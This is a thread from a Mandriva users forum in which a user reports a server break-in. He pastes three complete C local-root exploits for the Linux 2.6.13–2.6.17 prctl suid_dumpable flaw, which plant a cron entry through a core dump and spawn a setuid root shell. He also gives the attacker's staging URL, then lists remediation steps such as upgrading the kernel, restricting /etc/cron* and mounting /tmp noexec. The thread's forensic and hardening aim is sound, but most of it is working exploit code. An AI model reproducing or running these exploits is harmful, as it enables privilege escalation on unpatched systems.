Help - Search - Members - Calendar
Full Version: break in!
MandrivaUsers.org > Advanced Topics > Security
paul
initial access:
http://143.225.151.190/libsh/ping.txt

affected kernel 2.6.13->17

C files uploaded:

CODE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/prctl.h>

#define INFO1    "raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability"
#define    INFO2    "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"

char payload[] = /* commands to be executed by privileged crond */
"\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * *   root   chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n";

char pwnage[] = /* build setuid() helper to circumvent bash checks */
"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";

int main(void)
{
    int         pid, i;
    struct rlimit     corelimit;
    struct stat    st;

    /* print exploit information */
    fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

    /* prepare the setuid() helper */
    system(pwnage);

    /* set core size to unlimited */
    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    /* let's do the PR_SET_DUMPABLE magic */
    if (!(pid = fork())) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(666);
        exit(1);
    }
    kill(pid, SIGSEGV);

    /* did it work? */
    sleep(3);
    if (stat("/etc/cron.d/core", &st) < 0) {
        fprintf(stderr, "Error: Not vulnerable? See comments.\n");
        exit(1);
    }

    fprintf(stderr, "Ready to uncork the champagne? ");
    fprintf(stderr, "Please wait a couple of minutes;)\n");

    /* wait for crond to execute our evil entry */
    for (i = 0; i < 124; i += 2) {
        if (stat("/tmp/pwned", &st) < 0) {
            fprintf(stderr, "\nError: Check /tmp/pwned!\n");
            exit(1);
        }
        if (st.st_uid == 0)    
            break;
        fprintf(stderr, ".");
        sleep(2);
    }

    /* timeout reached? */
    if (i > 120) {
        fprintf(stderr, "\nTimeout: Check /tmp/pwned!\n");
        exit(1);
    }

    /* total pwnage */
    fprintf(stderr, "CAMPIONI DEL MONDO!\n\n");
    system("/tmp/pwned");
    exit(0);
}


file 2:
CODE
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh; chown root /tmp/sh; chmod 4755 /tmp/sh; rm -f /etc/cron.d/core\n";

int main() {
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    printf("By: dreyer & RoMaNSoFt\n");
    printf("[ 10.Jul.2006 ]\n\n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("[*] Creating Cron entry\n");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
    system("/tmp/sh -i");
}


file 3:
CODE
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>

#define CROND "/etc/cron.d"
#define BUFSIZE 2048


struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};

char    crontemplate[]=
"#/etc/cron.d/core suid_dumpable exploit\n"
"SHELL=/bin/sh\n"
"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
"#%s* * * * *    root     chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";

char    cronstring[BUFSIZE];
char    fname[BUFSIZE];

struct timeval te;

void sh(int sn) {
    execl(fname, fname, (char *) NULL);
}
    

int    main(int argc, char *argv[]) {

    int nw, pid;

    if (geteuid() == 0) {
        printf("[+] getting root shell\n");
        setuid(0);
        setgid(0);
        if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
            perror("[-] execle");
            return 1;
        }
    }

    printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");

    /* get our file name */
    if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
        perror("[-] readlink");
        printf("This is not fatal, rewrite the exploit\n");
    }

    if (signal(SIGUSR1, sh) == SIG_ERR) {
        perror("[-] signal");
        return 1;
    }
    printf("[+] Installed signal handler\n");

    /* Let us create core files */
    setrlimit(RLIMIT_CORE, &myrlimit);
    if (chdir(CROND) == -1) {
        perror("[-] chdir");
        return 1;
    }

    /* exploit the flaw */
    if (prctl(PR_SET_DUMPABLE, 2) == -1) {
        perror("[-] prtctl");
        printf("Is you kernel version >= 2.6.13 ?\n");
        return 1;
    }

    printf("[+] We are suidsafe dumpable!\n");

    /* Forge the string for our core dump */
    nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
    if (nw >= sizeof(cronstring)) {
        printf("[-] cronstring is too small\n");
        return 1;
    }
    printf("[+] Malicious string forged\n");

    if ((pid=fork()) == -1) {
        perror("[-] fork");
        return 1;
    }

    if (pid == 0) {
        /* This is not the good way to do it;) */
        sleep(120);
        exit(0);
    }

    /* SEGFAULT the child */
    printf("[+] Segfaulting child\n");
    if (kill(pid, 11) == -1) {
        perror("[-] kill");
        return 1;
    }
    if (gettimeofday(&te, NULL) == 0)
        printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
    sleep(120);

    printf("[-] It looks like the exploit failed\n");

    return 1;
}


To fix:
install a kernel greater than 2.6.17
reinstall binutils
on binary distro's like mandriva, this may require a system rebuild unsure.gif
on src based distro's, a rebuild replace (gentoo: emerge baselayout binutils)

also there was possible evidence that gcc had been tampered with (perhaps .. not sure .. but just incase)
reinstall gcc

/etc/cron* is a weak point here
chmod -R 750 /etc/cron*

this will allow only the user root to write into these directories
if you're using vixie-cron this will not affect your users as user crons are stored in /var/spool/cron

if you are using some other cron, you may want to check the manual to ensure user crons can still be used after changing permissions on /etc/cron*

another thing:
if you have /tmp on a different partition (every good sys admin should) ensure noexec is turned on
CODE
/dev/hda8               /tmp            reiserfs        noatime,noexec  0 0


find out how they got the initial ping txt file on your system.
in my case it was a weak php script, so evidence was found in /var/log/apache/access_log and error_log
possiblities are badly configured ftp server, weak scripts (php, perl python .. what ever), email attachment strippers (not the girlie kind wink.gif )

in short, root has been compromised, so do what you need to, so that it is fixed.
in many cases this will mean a complete system reinstall, but be sure to keep a copy of logs etc, so you can find out how they got in, and *not* do it again smile.gif
Phil Edwards
Nice bit of forensic work, well done! cool.gif

One other handy tip is to change the permissions on the gcc binary so it's only executable by root - most script kiddie stuff gets in via processes which run under unprivileged accounts, so this together with the 'noexec' on /tmp can help a lot.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Invision Power Board © 2001-2008 Invision Power Services, Inc.